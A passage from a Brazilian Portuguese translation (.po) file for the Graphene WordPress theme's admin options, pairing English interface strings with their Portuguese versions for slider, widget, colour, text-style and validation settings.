categoria aqui." #: admin/options.php:394 msgid "Number of posts to display" msgstr "Número de posts a exibir" #: admin/options.php:419 #: admin/options.php:1605 msgid "Upload or select image from gallery" msgstr "Envie ou selecione uma imagem na galeria" #: admin/options.php:425 msgid "Slider display style" msgstr "Estilo de exibição do Slider" #: admin/options.php:429 msgid "Thumbnail and excerpt" msgstr "Miniatura e resumo" #: admin/options.php:430 msgid "Background image and excerpt" msgstr "Imagem de fundo e resumo" #: admin/options.php:431 msgid "Full post content" msgstr "conteúdo completo do post" #: admin/options.php:437 msgid "Slider animation" msgstr "Animação do Slider" #: admin/options.php:442 msgid "Horizontal slide" msgstr "Slide horizontal" #: admin/options.php:443 msgid "Vertical slide" msgstr "Slide vertical" #: admin/options.php:444 msgid "Fade" msgstr "Fade" #: admin/options.php:445 msgid "No effect" msgstr "Sem efeito" #: admin/options.php:451 msgid "Slider height" msgstr "Altura do Slider" #: admin/options.php:459 msgid "Slider speed" msgstr "Velocidade do Slider" #: admin/options.php:462 #: admin/options.php:471 msgid "milliseconds" msgstr "milissegundos" #: admin/options.php:463 msgid "This is the duration that each slider item will be shown" msgstr "Esta é a duração de cada item do Slider" #: admin/options.php:468 msgid "Slider transition speed" msgstr "Velocidade de transição" #: admin/options.php:472 msgid "This is the speed of the slider transition. Lower values = higher speed." msgstr "Esta é a velocidade da transição do slide. Valores menores = velocidades maiores." #: admin/options.php:477 msgid "Move slider to bottom of page" msgstr "Mover o Slider para o fim da página" #: admin/options.php:490 msgid "Front Page Options" msgstr "Opções da Página inicial" #: admin/options.php:496 msgid "Front page posts categories" msgstr "Categorias da Página inicial" #: admin/options.php:498 msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page." msgstr "Apenas os posts que pertencem às categorias selecionadas aqui serão exibidos na página inicial. Não se aplica à página inicial estática." #: admin/options.php:503 msgid "--Disabled--" msgstr "--Desabilitado--" #: admin/options.php:511 msgid "You may select multiple categories by holding down the CTRL key." msgstr "Você pode selecionar várias categorias segurando a tecla CTRL." #: admin/options.php:523 msgid "Homepage Panes" msgstr "Painéis da Página Inicial" #: admin/options.php:530 msgid "Disable homepage panes" msgstr "Desabilitar Painéis da Página Inicial" #: admin/options.php:540 msgid "Type of content to show" msgstr "Tipo de conteúdo a exibir" #: admin/options.php:547 msgid "Latest posts by category" msgstr "Últimos posts por categoria" #: admin/options.php:550 msgid "Posts and/or pages" msgstr "Posts e/ou páginas" #: admin/options.php:555 msgid "Number of latest posts to display" msgstr "Número de últimos posts a exibir" #: admin/options.php:559 msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above." msgstr "Somente aplicável se <strong>Últimos posts</strong> ou <strong>Últimos posts por categoria</strong> for selecionado acima." #: admin/options.php:564 msgid "Category to show latest posts from" msgstr "Categoria dos últimos posts" #: admin/options.php:574 msgid "Applicable only if <strong>Latest posts by category</strong> is selected above." msgstr "Somente aplicável se <strong>Últimos posts por categoria</strong> for selecionado acima." #: admin/options.php:585 msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above." msgstr "Aplicável somente se <strong>Posts e/ou páginas</strong> for selecionado acima." #: admin/options.php:591 msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>." msgstr "<strong>Atenção:</strong> os Painéis da Página Inicial só são exibidos quando se usa uma <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">página estática</a>." #: admin/options.php:601 msgid "Comments Options" msgstr "Opções de Comentários" #: admin/options.php:607 msgid "Commenting" msgstr "Comentários" #: admin/options.php:611 msgid "Use WordPress settings" msgstr "Usar configurações do Wordpress" #: admin/options.php:612 msgid "Disabled for pages" msgstr "Desabilitar em páginas" #: admin/options.php:613 msgid "Disabled completely" msgstr "Desabilitar completamente" #: admin/options.php:615 msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages." msgstr "Atenção: esta configuração prevalece sobre a configuração global de Discussão do Wordpress chamada \"Permitir que as pessoas publiquem comentários sobre novos artigos\" e também a opção \"Permitir comentários\" dos posts/páginas individuais." #: admin/options.php:627 msgid "Child Page Options" msgstr "Opções de Páginas-filhas" #: admin/options.php:633 msgid "Hide parent box if content is empty" msgstr "Esconder área da página-mãe se não houver conteúdo" #: admin/options.php:639 msgid "Child page listings" msgstr "Listagem das páginas-filhas" #: admin/options.php:643 msgid "Show listing" msgstr "Exibir listagem" #: admin/options.php:644 msgid "Hide listing" msgstr "Esconder listagem" #: admin/options.php:645 msgid "Only show listing if parent content is empty" msgstr "Só exibir listagem se não houver conteúdo na página mãe" #: admin/options.php:658 msgid "Widget Area Options" msgstr "Opções da Área de Widgets" #: admin/options.php:661 msgid "Header widget area" msgstr "Widgets do Cabeçalho" #: admin/options.php:662 msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option." msgstr "<strong>Importante:</strong> esta área de widget não tem estilo, uma vez que normalmente ela é usada para banners, anúncios etc. Se você habilitá-la, certifique-se de estilizá-la conforme suas necessidades utilizando a opção de CSS Personalizada." #: admin/options.php:666 msgid "Enable header widget area" msgstr "Habilitar área de widgets do cabeçalho" #: admin/options.php:675 msgid "Alternate Widgets" msgstr "Widgets Alternativos" #: admin/options.php:676 msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page." msgstr "Você pode exibir, na página inicial, widgets diferentes do resto do site. Se você habilitar essa opção, as áreas adicionais para a página inicial serão adicionadas à página de Configuração de Widgets." #: admin/options.php:679 msgid "Enable alternate front page sidebar widget area" msgstr "Habilitar barra lateral de widgets alternativa na página inicial" #: admin/options.php:683 msgid "Enable alternate front page footer widget area" msgstr "Habilitar rodapé de widgets alternativo na página inicial" #: admin/options.php:684 msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option." msgstr "Você pode especificar um número de colunas diferente para o rodapé de widgets da página inicial e do resto do site se você habilitar essa opção." #: admin/options.php:697 msgid "Top Bar Options" msgstr "Opções da barra superior" #: admin/options.php:703 msgid "Hide the top bar" msgstr "Ocultar barra superior" #: admin/options.php:711 msgid "Hide feed icon" msgstr "ocultar ícone de RSS" #: admin/options.php:715 msgid "Use custom feed URL" msgstr "Usar URL de feed personalizada" #: admin/options.php:718 msgid "This custom feed URL will replace the default WordPress RSS feed URL." msgstr "A URL deste Feed Personalizado substituirá a URL padrão de RSS do Wordpress." #: admin/options.php:722 msgid "Open social media links in new window" msgstr "Abrir links de redes sociais em novas janelas" #: admin/options.php:726 msgid "Twitter URL" msgstr "URL do Twitter" #: admin/options.php:729 msgid "Enter the URL to your Twitter page." msgstr "Digite a URL da sua página no Twitter." #: admin/options.php:733 msgid "Facebook URL" msgstr "URL do Facebook" #: admin/options.php:736 msgid "Enter the URL to your Facebook profile page." msgstr "Digite a URL do seu perfil no Facebook." #: admin/options.php:747 #, php-format msgid "%s Title" msgstr "Título de %s" #: admin/options.php:752 #, php-format msgid "The title is empty and the following title will be shown: <strong>%s</strong>" msgstr "O título está vazio, então o seguinte título será exibido: <strong>%s</strong>" #: admin/options.php:758 #, php-format msgid "%s URL" msgstr "URL de %s" #: admin/options.php:763 #, php-format msgid "%s icon URL" msgstr "URL do ícone de %s" #: admin/options.php:766 msgid "Delete" msgstr "Apagar" #: admin/options.php:774 msgid "Add new social media icon" msgstr "Adicionar novo ícone de rede social" #: admin/options.php:786 msgid "Social Sharing Buttons" msgstr "Botões de Redes Sociais" #: admin/options.php:791 msgid "Show social sharing button" msgstr "Exibir Botão de Rede Social" #: admin/options.php:797 msgid "Show in Pages as well?" msgstr "Exibir em páginas também?" #: admin/options.php:801 msgid "Social sharing buttons location" msgstr "Localização dos botões de compartilhamento" #: admin/options.php:804 msgid "Bottom of posts" msgstr "Abaixo dos posts" #: admin/options.php:805 msgid "Top of posts" msgstr "Acima dos posts" #: admin/options.php:806 msgid "Both top and bottom" msgstr "Acima e abaixo dos posts" #: admin/options.php:812 msgid "Your social sharing button code" msgstr "Código do botão de compartilhamento" #: admin/options.php:813 msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc." msgstr "Você pode usar códigos de qualquer rede social popular: Facebook, Digg, AddThis etc." #: admin/options.php:816 msgid "You may use these tags to get the post's URL and title:" msgstr "Você deve usar estas tags para URL e título do post:" #: admin/options.php:828 msgid "Adsense Options" msgstr "Opções Adsense" #: admin/options.php:834 msgid "Show Adsense advertising" msgstr "Exibir anúncios Adsense" #: admin/options.php:840 msgid "Show ads on front page as well" msgstr "Exibir anúncios na página inicial" #: admin/options.php:846 msgid "Your Adsense code" msgstr "Seu código Adsense" #: admin/options.php:859 msgid "Google Analytics Options" msgstr "Opções Google Analytics" #: admin/options.php:864 msgid "Enable Google Analytics tracking" msgstr "Habilitar rastreamento do Google Analytics" #: admin/options.php:871 msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code><head></code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics." msgstr "<strong>Atenção:</strong> agora o tema posiciona o script do Google Analytics na seção <code><head></code> para melhor compatibilidade com o novo script assíncrono. Por favor, atualize seu código para o novo script assíncrono do Google Analytics." #: admin/options.php:875 msgid "Google Analytics tracking code" msgstr "Código de rastreamento Google Analytics" #: admin/options.php:876 msgid "Make sure you include the full tracking code (including the <code><script></code> and <code></script></code> tags) and not just the <code>UA-#######-#</code> code." msgstr "Inclua o código de rastreamento completo, incluindo as tags <code><script></code> e <code></script></code>) e não apenas o código <code>UA-#######-#</code>." #: admin/options.php:889 msgid "Footer Options" msgstr "Opções do rodapé" #: admin/options.php:894 msgid "Show Creative Commons logo" msgstr "Exibir logotipo Creative Commons" #: admin/options.php:899 msgid "Copyright text (html allowed)" msgstr "Texto de Direitos Autorais (HTML permitido)" #: admin/options.php:900 msgid "If this field is empty, the following default copyright text will be displayed:" msgstr "Se este campo ficar vazio, o seguinte texto padrão será exibido:" #: admin/options.php:906 msgid "Do not show copyright info" msgstr "Não exibir informações sobre Direitos Autorais" #: admin/options.php:910 msgid "Do not show the \"Return to top\" link" msgstr "Não exibir o link \"Voltar ao topo\"" #: admin/options.php:922 msgid "Print Options" msgstr "Opções de impressão" #: admin/options.php:927 msgid "Enable print CSS for single posts and pages?" msgstr "Habilitar estilo de impressão CSS para posts e páginas?" #: admin/options.php:933 msgid "Show print button as well?" msgstr "Exibir botão de impressão?" #: admin/options.php:953 msgid "Header Display Options" msgstr "Opções de Exibição do Cabeçalho" #: admin/options.php:959 msgid "Use light-coloured header bars" msgstr "Usar cores claras nas barras do cabeçalho" #: admin/options.php:965 msgid "Link header image to front page" msgstr "Criar link na imagem do cabeçalho para a página inicial" #: admin/options.php:968 msgid "Check this if you disable the header texts and want the header image to be linked to the front page." msgstr "Marque essa opção se você desabilitou o texto do cabeçalho, mas deseja que a imagem esteja linkada à página inicial." #: admin/options.php:973 msgid "Disable Featured Image replacing header image" msgstr "Impedir que a imagem em destaque substitua a imagem de cabeçalho" #: admin/options.php:976 msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension." msgstr "Marque esta opção para evitar que posts com imagem em destaque substituam a imagem do cabeçalho, mesmo quando suas dimensões forem maiores" #: admin/options.php:981 msgid "Use random header image" msgstr "Usar imagem de cabeçalho aleatória" #: admin/options.php:985 msgid "Check this to show a random header image (random image taken from the available default header images)." msgstr "Marque esta opção para exibir uma imagem de cabeçalho randômica (uma imagem será escolhida aleatoriamente dentre as disponíveis)" #: admin/options.php:986 msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined." msgstr "<strong>Atenção:</strong> só funciona em páginas onde uma imagem de cabeçalho específica não foi definida." #: admin/options.php:992 msgid "Search box location" msgstr "Localização da caixa de busca" #: admin/options.php:996 msgid "Top bar" msgstr "Barra superior" #: admin/options.php:997 msgid "Navigation bar" msgstr "Barra de navegação" #: admin/options.php:998 msgid "Disable search box" msgstr "Desabilitar caixa de pesquisa" #: admin/options.php:1011 msgid "Column Options" msgstr "Opções de Colunas" #: admin/options.php:1017 msgid "Column mode" msgstr "Layout de colunas:" #: admin/options.php:1026 msgid "One column" msgstr "Uma coluna" #: admin/options.php:1033 msgid "Two columns (with sidebar right)" msgstr "Duas colunas (com barra lateral à direita)" #: admin/options.php:1037 msgid "Two columns (with sidebar left)" msgstr "Duas colunas (com barra lateral à esquerda)" #: admin/options.php:1044 msgid "Three columns (with two sidebars right)" msgstr "Três colunas (com duas barras laterais à direita)" #: admin/options.php:1048 msgid "Three columns (with two sidebars left)" msgstr "Três colunas (com duas barras laterais à esquerda)" #: admin/options.php:1052 msgid "Three columns (with sidebars left and right)" msgstr "Três colunas (com barras laterais à esquerda e à direita)" #: admin/options.php:1067 msgid "Posts Display Options" msgstr "Opções de Exibição dos Posts" #: admin/options.php:1073 msgid "Hide post author" msgstr "Ocultar autor do post" #: admin/options.php:1083 msgid "Hidden" msgstr "Oculto" #: admin/options.php:1084 msgid "As an icon (without the year)" msgstr "Como um ícone (sem o ano)" #: admin/options.php:1085 msgid "As an icon (including the year)" msgstr "Como um ícone (incluíndo o ano)" #: admin/options.php:1086 msgid "As inline text" msgstr "Como texto inline" #: admin/options.php:1088 msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration." msgstr "Nota: Exibir a data como texto inline libera mais espaço para a área de conteúdo, o que é especialmente útil num layout de três colunas." #: admin/options.php:1093 msgid "Hide post categories" msgstr "Ocultar categorias do post" #: admin/options.php:1099 msgid "Hide post tags" msgstr "Ocultar tags do post" #: admin/options.php:1105 msgid "Hide post comment count" msgstr "Ocultar contador de comentários" #: admin/options.php:1106 msgid "Only affects posts listing (such as the front page) and not single post view." msgstr "Afeta apenas listas de posts (como da páginia inicial), mas não a visualização individual do post." #: admin/options.php:1111 msgid "Show post author's gravatar" msgstr "Exibir gravatar do autor do post" #: admin/options.php:1115 msgid "Show post author's info" msgstr "Exibir informações do autor" #: admin/options.php:1127 msgid "Excerpts Display Options" msgstr "Opções de Exibição dos Resumos" #: admin/options.php:1133 msgid "Show excerpts in front page" msgstr "Exibir resumos na página inicial" #: admin/options.php:1139 msgid "Show full content in archive pages" msgstr "Exibir conteúdo completo em páginas de arquivos" #: admin/options.php:1143 msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used." msgstr "Atenção: páginas de arquivos são as páginas de categorias, tags, por tempo e resultados de busca. Habilitar esta opção fará com que o conteúdo completo de posts e páginas sejam listados em vez do resumo, preservando a tag Leia Mais quando usada." #: admin/options.php:1147 msgid "Show More link for manual excerpts" msgstr "Exibir link \"Mais\" para resumos manuais" #: admin/options.php:1151 msgid "Retain these HTML tags in excerpts" msgstr "Manter estas tags HTML nos resumos" #: admin/options.php:1154 msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code><p><ul><li></code> to retain <code><p></code>, <code><ul></code>, and <code><li></code> HTML tags." msgstr "Digite as tags HTML que você gostaria de manter nos resumos. Por exemplo, digite <code><p><ul><li></code> para manter as tags <code><p></code>, <code><ul></code>, e <code><li></code>." #: admin/options.php:1167 msgid "Comments Display Options" msgstr "Opções de Exibição dos Comentários" #: admin/options.php:1173 msgid "Hide allowed tags in comment form" msgstr "Ocultar tags HTML permitidas no formulário de comentários" #: admin/options.php:1186 msgid "Colours Options" msgstr "Opções de Cores" #: admin/options.php:1189 msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics." msgstr "Mudar as cores do seu website envolve bem mais do que tentativa e erro. Simplesmente misturar e combinar cores sem se importar com suas compatibilidades pode causar mais danos do que benefícios para a estética do seu site." #: admin/options.php:1190 #, php-format msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use." msgstr "Geralmente é uma boa ideia se ater a cores de paletas esteticamente agradáveis. Experimente o site %s como ponto de partida de algumas paletas que você pode usar." #: admin/options.php:1191 msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>." msgstr "Ao conseguir a combinação perfeita, compartilhe com outros usuários através do <a href=\"http://forum.khairul-syahir.com/\">Fórum de Suporte</a>." #: admin/options.php:1192 msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome." msgstr "<strong>Atenção:</strong> as pré-visualizações funcionam melhor em navegadores baseados em Gecko e Webkit, tais como Mozilla Firefox e Google Chrome." #: admin/options.php:1193 msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour." msgstr "<strong>Atenção:</strong> para voltar ao valor padrão de qualquer cor, basta clicar em \"Limpar\" ao lado da cor e salvar as configurações. O tema automaticamente definirá o valor padrão para a cor." #: admin/options.php:1194 msgid "Content area" msgstr "Área do conteúdo" #: admin/options.php:1198 msgid "Main content wrapper background" msgstr "Fundo da área principal" #: admin/options.php:1199 msgid "Post and pages content background" msgstr "Fundo dos posts e páginas" #: admin/options.php:1200 msgid "Post meta and footer border" msgstr "Bordas dos metadados e rodapés dos posts" #: admin/options.php:1201 msgid "Post and pages top border" msgstr "Borda superior de posts e páginas" #: admin/options.php:1202 msgid "Post and pages bottom border" msgstr "Borda inferior de posts e páginas" #: admin/options.php:1212 #: admin/options.php:1242 #: admin/options.php:1268 #: admin/options.php:1295 #: admin/options.php:1324 #: admin/options.php:1460 #: admin/options.php:1481 msgid "Clear" msgstr "Limpar" #: admin/options.php:1219 msgid "Widgets" msgstr "Widgets" #: admin/options.php:1222 msgid "Widget preview" msgstr "Pré-visualização do widget" #: admin/options.php:1223 msgid "Widget title" msgstr "Título do widget" #: admin/options.php:1223 msgid "List item" msgstr "Item de lista" #: admin/options.php:1227 msgid "Widget item background" msgstr "Fundo do item de widget" #: admin/options.php:1228 msgid "Widget item list border" msgstr "Borda do item de widget" #: admin/options.php:1229 msgid "Widget header border" msgstr "Borda do cabeçalho do widget" #: admin/options.php:1230 msgid "Widget title colour" msgstr "Título do widget" #: admin/options.php:1231 msgid "Widget title text shadow colour" msgstr "Sombra do título do widget" #: admin/options.php:1232 msgid "Widget header gradient bottom colour" msgstr "Cor final do gradiente do cabeçalho do widget" #: admin/options.php:1233 msgid "Widget header gradient top colour" msgstr "Cor inicial do gradiente do cabeçalho do widget" #: admin/options.php:1250 msgid "Slider" msgstr "Slider" #: admin/options.php:1253 msgid "Slider background preview" msgstr "Pré-visualização do fundo do Slider" #: admin/options.php:1258 msgid "Slider top left colour" msgstr "Canto superior esquerdo do slider" #: admin/options.php:1259 msgid "Slider bottom right colour" msgstr "Canto inferior direito do slider" #: admin/options.php:1276 msgid "Block buttons" msgstr "Botões em bloco" #: admin/options.php:1279 msgid "Block button preview" msgstr "Pré-visualização do botão em bloco" #: admin/options.php:1280 msgid "Button label" msgstr "Rótulo do botão" #: admin/options.php:1284 msgid "Button background colour" msgstr "Fundo do botão" #: admin/options.php:1285 msgid "Button label colour" msgstr "Cor do rótulo do botão" #: admin/options.php:1286 msgid "Button label text shadow" msgstr "Sombra do rótulo do botão" #: admin/options.php:1303 msgid "Archive title" msgstr "Títulos das páginas de Arquivo" #: admin/options.php:1306 msgid "Archive title preview" msgstr "Pré-visualização do título da página de Arquivo" #: admin/options.php:1307 msgid "Archive title:" msgstr "Título da página de Arquivo:" #: admin/options.php:1307 msgid "Sample title" msgstr "Título de Exemplo" #: admin/options.php:1311 msgid "Archive background gradient left colour" msgstr "Arquivo: cor da esquerda do gradiente" #: admin/options.php:1312 msgid "Archive background gradient right colour" msgstr "Arquivo: cor da direita do gradiente" #: admin/options.php:1313 msgid "Archive label colour" msgstr "Arquivo: cor do rótulo do título" #: admin/options.php:1314 msgid "Archive text colour" msgstr "Arquivo: cor do texto do título" #: admin/options.php:1315 msgid "Archive label and text shadow colour" msgstr "Arquivo: sombra do rótulo e do texto" #: admin/options.php:1339 msgid "Text Style Options" msgstr "Opções de Estilo do Texto" #: admin/options.php:1342 msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used." msgstr "Note que essas são propriedades CSS, então qualquer valor CSS válido para cada propriedade pode ser usado." #: admin/options.php:1343 msgid "Some example CSS properties values:" msgstr "Alguns exemplos de valores de propriedades CSS:" #: admin/options.php:1346 msgid "Text font:" msgstr "Fonte do texto:" #: admin/options.php:1350 msgid "Text size and line height:" msgstr "Tamanho do texto e altura da linha:" #: admin/options.php:1354 msgid "Text weight:" msgstr "Peso do texto:" #: admin/options.php:1358 msgid "Text style:" msgstr "Estilo do texto:" #: admin/options.php:1362 msgid "Text colour:" msgstr "Cor do texto:" #: admin/options.php:1367 msgid "Header Text" msgstr "Texto do Cabeçalho" #: admin/options.php:1371 msgid "Title text font" msgstr "Fonte do título (<code>font-family</code>)" #: admin/options.php:1377 msgid "Title text size" msgstr "Tamanho do título (<code>font-size</code>)" #: admin/options.php:1383 msgid "Title text weight" msgstr "Peso do título (<code>font-weight</code>)" #: admin/options.php:1389 msgid "Title text line height" msgstr "Altura da linha do título (<code>line-height</code>)" #: admin/options.php:1395 msgid "Title text style" msgstr "Estilo do título (<code>font-style</code>)" #: admin/options.php:1404 msgid "Description text font" msgstr "Fonte do texto da descrição" #: admin/options.php:1410 msgid "Description text size" msgstr "Tamanho do texto da descrição" #: admin/options.php:1416 msgid "Description text weight" msgstr "Peso do texto da descrição" #: admin/options.php:1422 msgid "Description text line height" msgstr "Altura da linha do texto da descrição" #: admin/options.php:1428 msgid "Description text style" msgstr "Estilo do texto da descrição" #: admin/options.php:1434 msgid "Content Text" msgstr "Texto de Conteúdo" #: admin/options.php:1438 msgid "Text font" msgstr "Fonte do texto" #: admin/options.php:1444 msgid "Text size" msgstr "Tamanho do texto" #: admin/options.php:1450 msgid "Text line height" msgstr "Altura da linha do texto" #: admin/options.php:1456 msgid "Text colour" msgstr "Cor do texto" #: admin/options.php:1466 msgid "Link Text" msgstr "Link de texto" #: admin/options.php:1470 msgid "Link colour (normal state)" msgstr "Cor do link (normal)" #: admin/options.php:1471 msgid "Link colour (visited state)" msgstr "Cor do link (visitado)" #: admin/options.php:1472 msgid "Link colour (hover state)" msgstr "Cor do link (em cima)" #: admin/options.php:1489 msgid "Text decoration (normal state)" msgstr "Text-decoration (normal)" #: admin/options.php:1495 msgid "Text decoration (hover state)" msgstr "Text-decoration (hover)" #: admin/options.php:1508 msgid "Footer Widget Display Options" msgstr "Opções de Exibição dos Widgets do Rodapé" #: admin/options.php:1514 msgid "Number of columns to display" msgstr "Número de colunas a exibir:" #: admin/options.php:1521 msgid "Number of columns to display for front page footer widget" msgstr "Número de colunas a exibir no widget rodapé da página inicial" #: admin/options.php:1535 msgid "Navigation Menu Display Options" msgstr "Opções de Exibição do Menu de Navegação" #: admin/options.php:1541 msgid "Dropdown menu item width" msgstr "Largura do menu dropdown" #: admin/options.php:1547 msgid "Disable description in Header Menu" msgstr "Desabilitar descrições no Menu do Cabeçalho" #: admin/options.php:1555 msgid "Description for default menu \"Home\" item" msgstr "Descrição para o item \"Início\" padrão do menu" #: admin/options.php:1571 msgid "Miscellaneous Display Options" msgstr "Opções de Exibição - Miscelânea" #: admin/options.php:1574 msgid "Site title options" msgstr "Opções do Título do Site" #: admin/options.php:1575 msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" msgstr "Use estas tags para personalizar sua própria estrutura de título: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" #: admin/options.php:1579 msgid "Custom front page site title" msgstr "Título personalizado da Página Inicial" #: admin/options.php:1583 msgid "Defaults to <code>#site-name » #site-desc</code>. The <code>#post-title</code> tag cannot be used here." msgstr "O padrão é <code>#site-name » #site-desc</code>. A tag <code>#post-title</code> não pode ser usada aqui." #: admin/options.php:1588 msgid "Custom content pages site title" msgstr "Título personalizado das páginas de conteúdo" #: admin/options.php:1592 msgid "Defaults to <code>#post-title » #site-name</code>." msgstr "O padrão é <code>#post-title » #site-name</code>." #: admin/options.php:1597 msgid "Favicon options" msgstr "Opções de Favicon" #: admin/options.php:1601 msgid "Favicon URL" msgstr "URL do Favicon" #: admin/options.php:1605 msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library." msgstr "Digite a URL completa do seu favicon para habilitá-lo. Certifique-se de incluir <code>http://</code> no endereço. Ou use o Envio de Mídia do Wordpress para enviar uma imagem, ou selecione uma da Biblioteca de Mídia." #: admin/options.php:1617 msgid "Custom CSS" msgstr "CSS personalizada" #: admin/options.php:1622 msgid "Custom CSS styles" msgstr "Estilos CSS personalizados" #: admin/options.php:1624 msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options." msgstr "Você pode digitar seu próprio código CSS para modificar qualquer outro aspecto do tema não incluído nas opções." #: admin/options.php:1651 msgid "Enable preview of your site on the Graphene Theme Options page" msgstr "Habilitar pré-visualização do seu site na página de opções do Graphene" #: admin/options.php:1663 msgid "Action Hooks Widget Areas" msgstr "Áreas de Widgets nos Action Hooks" #: admin/options.php:1666 msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks." msgstr "Esta opção permite que você insira conteúdo em qualquer canto do tema, anexando áreas de widgets aos ganchos de ação (action hooks) do tema." #: admin/options.php:1667 msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook." msgstr "Todos os \"action hooks\" disponíveis no tema Graphene estão listados abaixo. Clique no nome do arquivo para exibir todos os ganchos disponíveis nele. Selecione então o checkbox do action hook desejado para criar uma área de widgets para ele." #: admin/options.php:1676 msgid "Click to show/hide the action hooks for this file" msgstr "Clique para exibir/ocultar os action hooks deste arquivo" #: admin/options.php:1699 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "Antes de enviar o arquivo de importação, você precisa corrigir o seguinte erro:" #: admin/options.php:1707 msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>." msgstr "<strong>Atenção</strong>: esta é uma funcionalidade experimental. Por favor, relate qualquer problema no <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Fórum de Suporte do Tema</a>." #: admin/options.php:1709 msgid "Choose a file from your computer:" msgstr "Escolha um arquivo do seu computador:" #: admin/options.php:1709 #, php-format msgid "Maximum size: %s" msgstr "Tamanho máximo: %s" #: admin/options.php:1716 msgid "Upload file and import" msgstr "Enviar arquivo e importar" #: admin/uninstall.php:22 #, php-format msgid "Theme uninstalled. Redirecting to %s" msgstr "Tema desinstalado. Redirecionando para %s" #: admin/user.php:7 msgid "Graphene-specific User Profile Information" msgstr "Informações do Perfil específicas para o Graphene" #: admin/user.php:8 msgid "The settings defined here are used only with the Graphene theme." msgstr "As configurações feitas aqui são usadas exclusivamente com o tema Graphene." #: admin/user.php:12 msgid "Author profile image URL" msgstr "URL da imagem do autor" #: admin/user.php:13 msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used." msgstr "Você pode especificar a imagem a ser utilizada como foto do autor. Se uma URL não estiver definida aqui, o <a href=\"http://www.gravatar.com\">Gravatar</a> do autor será usado." #: admin/user.php:17 msgid "Please enter the full URL (including <code>http://</code>) to your profile image." msgstr "Por favor, digite a URL completa para a imagem do seu perfil (incluindo <code>http://</code>)" #: admin/user.php:17 msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>." msgstr "<strong>Importante: </strong>a largura da imagem deve ser menor ou igual a <strong>150px</strong>." #: admin/validator.php:24 msgid "ERROR: Invalid category to show in slider." msgstr "ERRO: categoria inválida para exibir no Slider" #: admin/validator.php:27 msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider." msgstr "ERRO: você deve especificar os posts/páginas a exibir ao selecionar \"Exibir posts/pages específicos\" no Slider." #: admin/validator.php:30 msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider." msgstr "ERRO: você deve escolher pelo menos uma categoria ao selecionar \"Exibir posts de categorias\" no Slider." #: admin/validator.php:40 msgid "ERROR: Invalid category selected for the slider categories." msgstr "ERRO: categoria inválida selecionada como categorias do Slider." #: admin/validator.php:46 msgid "ERROR: The number of posts to displayed in the slider must be a an integer value." msgstr "ERRO: o número de posts a serem exibidos no Slider deve ser inteiro." #: admin/validator.php:49 msgid "ERROR: Invalid option for the slider image is specified." msgstr "ERRO: opção inválida como imagem do Slider." #: admin/validator.php:51 msgid "ERROR: Bad URL entered for the custom slider image URL." msgstr "ERRO: URL não aceita como imagem personalizada do Slider." #: admin/validator.php:53 msgid "ERROR: Invalid option for the slider display style is specified." msgstr "ERRO: opção inválida para estilo de exibição do Slider." #: admin/validator.php:55 msgid "ERROR: The value for slider height must be an integer." msgstr "ERRO: o valor da altura do Slider deve ser um número inteiro." #: admin/validator.php:57 msgid "ERROR: The value for slider speed must be an integer." msgstr "ERRO: o valor da velocidade do Slider deve ser um número inteiro." #: admin/validator.php:59 msgid "ERROR: The value for slider transition speed must be an integer." msgstr "ERRO: o valor da velocidade de transição do Slider deve ser um número inteiro." #: admin/validator.php:61 msgid "ERROR: Invalid slider animation." msgstr "ERRO: animação do Slider inválida." #: admin/validator.php:75 